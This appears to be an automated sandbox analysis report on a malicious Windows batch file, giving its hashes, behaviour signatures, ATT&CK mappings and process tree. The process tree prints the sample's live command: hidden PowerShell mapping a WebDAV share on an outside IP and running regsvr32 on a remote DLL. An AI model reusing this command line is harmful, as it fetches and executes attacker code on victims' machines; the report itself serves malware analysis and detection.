bbc65020fc7f7dbed857399bf79e4828c273c40b7ae449cc72b96700709909c5

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 09:24

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General

Target

165004055327431571.bat
Size

9KB
MD5

2a4981b86fd55d4b47a9d9e9214d9e44
SHA1

058bc196f757cc02f24a8ac1463425b5c520a0a8
SHA256

bbc65020fc7f7dbed857399bf79e4828c273c40b7ae449cc72b96700709909c5
SHA512

bcb4ffab0b4f2ec06b8def21472a27c0ccb7125e6a11fb6c62a7885b53bf0b1cb92b0c917255ef023adcfc417e106e01e8c4fecd130f20d28cac5cf6cefa7bf9
SSDEEP

192:u8lDhNBsnn+wcaNBshegcCgpyyU8S+D8XzswwwkcQSMWoBl0Jk8By0oH2V6AJu1w:uwB0r6yqaWrlBH+wukX

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2300	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe
2500	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2500	2080	cmd.exe	31
PID 2080 wrote to memory of 2500	2080	cmd.exe	31
PID 2080 wrote to memory of 2500	2080	cmd.exe	31
PID 2080 wrote to memory of 2300	2080	cmd.exe	32
PID 2080 wrote to memory of 2300	2080	cmd.exe	32
PID 2080 wrote to memory of 2300	2080	cmd.exe	32
PID 2300 wrote to memory of 2796	2300	powershell.exe	34
PID 2300 wrote to memory of 2796	2300	powershell.exe	34
PID 2300 wrote to memory of 2796	2300	powershell.exe	34
PID 2300 wrote to memory of 2872	2300	powershell.exe	35
PID 2300 wrote to memory of 2872	2300	powershell.exe	35
PID 2300 wrote to memory of 2872	2300	powershell.exe	35
PID 2300 wrote to memory of 2872	2300	powershell.exe	35
PID 2300 wrote to memory of 2872	2300	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\165004055327431571.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2796
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
    3⤵
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2300-23-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2300-24-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download